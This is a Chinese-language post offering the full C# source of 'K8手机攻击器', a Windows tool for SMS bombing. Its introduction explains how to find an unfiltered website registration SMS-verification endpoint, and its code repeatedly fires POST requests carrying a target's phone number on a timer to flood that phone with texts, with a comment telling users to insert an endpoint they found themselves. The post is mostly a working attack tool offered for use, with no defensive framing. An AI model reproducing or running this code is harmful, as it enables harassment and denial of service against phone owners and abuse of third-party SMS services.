K8手机攻击器V1.0源码
K8手机攻击器V1.0源码 附注释原理:利用网站注册的短信验证
首先找到一个 对用户注册没有做任何过滤的短信接口
如果是发送短信时 随机号码的话效果就更好了
然后模拟注册过程就可以实际对指定号码短信攻击
软件界面:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using Microsoft.Win32;
using mshtml;
using System.Text.RegularExpressions;
using System.Diagnostics;
using System.Net;
using System.IO;
namespace K8MobileAttack
{
public partial class frmMain : Form
{
public frmMain()
{
InitializeComponent();
Label.CheckForIllegalCrossThreadCalls = false;
}
private void frmMain_Load(object sender, EventArgs e)
{
this.CenterToParent();
this.MaximizeBox = false;
webBrowser1.Visible = false;
webBrowser1.Navigate("http://qqhack8.blog.163.com");
}
private void btn_attack_Click(object sender, EventArgs e)
{
if (!K8checkPhone())
{
MessageBox.Show("请输入有效的手机号码");
return;
}
label3.Visible = false;
timer1.Enabled = true;
btn_attack.Enabled = false;
btn_Stop.Enabled = true;
txt_mobileNumber.Enabled = false;
}
#region//验证手机 为7-11位
/// <summary>
/// 检测手机是否合法
/// </summary>
/// <returns></returns>
private bool K8checkPhone()
{
Regex chkPhone = new Regex(@"^(130|131|132|133|134|135|136|137|138|139|147|150|151|152|153|155|156|157|158|159|180|182|183|185|186|187|188|189)\d{4,8}$");
if (chkPhone.IsMatch(this.txt_mobileNumber.Text.Trim()))
{
return true;
}
else
{
return false;
}
}
#endregion
int count = 0;
private void timer1_Tick(object sender, EventArgs e)
{
Thread th = new Thread(K8loopAttack);
th.IsBackground = true;
th.Start();
//K8loopAttack();
}
/// <summary>
/// 循环攻击
/// </summary>
private void K8loopAttack()
{
//K8attackMobile();
K8AttackPost();
count++;
lbl_result.Text = "已发送 " + count.ToString() + " 条";
}
private void btn_Stop_Click(object sender, EventArgs e)
{
timer1.Enabled = false;
btn_attack.Enabled = true;
btn_Stop.Enabled = false;
label3.Visible = true;
txt_mobileNumber.Enabled = true;
}
private void txt_mobileNumber_KeyPress(object sender, KeyPressEventArgs e)
{
e.Handled = e.KeyChar < '0' || e.KeyChar > '9'; //只允许输入数字
}
private void label4_Click(object sender, EventArgs e)
{
Process.Start("IEXPLORE.EXE", "http://qqhack8.blog.163.com");
}
/// <summary>
/// POST提交
/// </summary>
/// <param name="postUrl"></param>
/// <param name="paramData"></param>
/// <param name="dataEncode"></param>
/// <returns></returns>
private string PostWebRequest(string postUrl, string paramData, Encoding dataEncode)
{
string ret = string.Empty;
try
{
byte[] byteArray = dataEncode.GetBytes(paramData); //转化
HttpWebRequest webReq = (HttpWebRequest)WebRequest.Create(new Uri(postUrl));
webReq.Method = "POST";
webReq.ContentType = "application/x-www-form-urlencoded";
webReq.ContentLength = byteArray.Length;
Stream newStream = webReq.GetRequestStream();
newStream.Write(byteArray, 0, byteArray.Length);//写入参数
newStream.Close();
HttpWebResponse response = (HttpWebResponse)webReq.GetResponse();
StreamReader sr = new StreamReader(response.GetResponseStream(), Encoding.Default);
ret = sr.ReadToEnd();
sr.Close();
response.Close();
newStream.Close();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
return ret;
}
private void button1_Click(object sender, EventArgs e)
{
K8AttackPost();
}
#region K8短信攻击(POST方式)
//通知一个或多个正在等待的线程已发生事件。
public static ManualResetEvent allDone = new ManualResetEvent(false);
/// <summary>
/// K8短信攻击(POST方式)
/// </summary>
private void K8AttackPost()
{
//这里的k8url换成你自己找到的短信接口
string k8url = "http://www.k8robot.org/attack.php?mobie=" + txt_mobileNumber.Text.Trim();
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(k8url);
request.ContentType = "application/x-www-form-urlencoded";
request.Method = "POST";
//开始异步操作
//开始对用来写入数据的System.IO.Stream 对象的异步请求。
request.BeginGetRequestStream(new AsyncCallback(ReadCallback), request);
//维持主线程继续直到异步操作完成。
allDone.WaitOne();
//获取响应
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
//获取响应流
Stream streamResponse = response.GetResponseStream();
//读取响应流
StreamReader streamRead = new StreamReader(streamResponse);
//读取响应流
string responseString = streamRead.ReadToEnd();
Console.WriteLine(responseString);
streamResponse.Close();
streamResponse.Dispose();
streamRead.Close();
streamRead.Dispose();
response.Close();
//Console.ReadKey();
}
private static void ReadCallback(IAsyncResult asynchronousResult)
{
HttpWebRequest request = (HttpWebRequest)asynchronousResult.AsyncState;
//结束请求操作
//结束对用于写入数据的System.IO.Stream 对象的异步请求。
Stream postStream = request.EndGetRequestStream(asynchronousResult);
Console.WriteLine("输入要被POST的数据:");
//string postData = Console.ReadLine();
string postData = "test";
//将字符串转化为字节数组
byte[] byteArray = Encoding.UTF8.GetBytes(postData);
//向请求流中写入字节
postStream.Write(byteArray, 0, postData.Length);
postStream.Close();
postStream.Dispose();
allDone.Set();
}
#endregion
}
}
补充:综合编程 , 安全编程 ,